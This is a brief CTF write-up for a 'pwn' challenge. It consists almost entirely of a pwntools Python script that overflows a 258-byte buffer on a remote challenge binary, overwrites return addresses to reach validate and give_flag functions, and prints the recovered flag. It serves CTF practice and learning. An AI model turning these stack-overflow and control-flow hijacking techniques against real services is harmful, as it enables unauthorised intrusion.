Tags: pwn 

Rating:

No comments. Task just ripped off from other ctf.

[https://ctftime.org/task/3681](https://ctftime.org/task/3681)

[https://ctftime.org/task/5366](https://ctftime.org/task/5366)

```
from pwn import *

context(arch='i386')
p = 0
b = ELF('./boobs')

def start():
global p, libc, b
if p is not 0:
p.close()
p = remote('34.242.96.216', 22222)

start()

log.info("Construct ropchain")
ropchain = "A"*258
ropchain += p32(0x08048814) # validate - check

ropchain2 = "A"*258
ropchain2 += p32(0x0804884F) # give_flag - get_boobs

p.sendline("aaa")

for j in range(1,82):
p.sendline('1')
p.sendline(str(j))
p.sendline("aaa")
p.sendline("aaa")

p.sendline("1")
p.sendline("80")
p.sendline(ropchain)

p.sendline("1")
p.sendline("81")
p.sendline(ropchain2)

p.sendline("3")
print p.recvall()
```

Flag is: Flag{You_Absolutely_Deserve_million_boobs}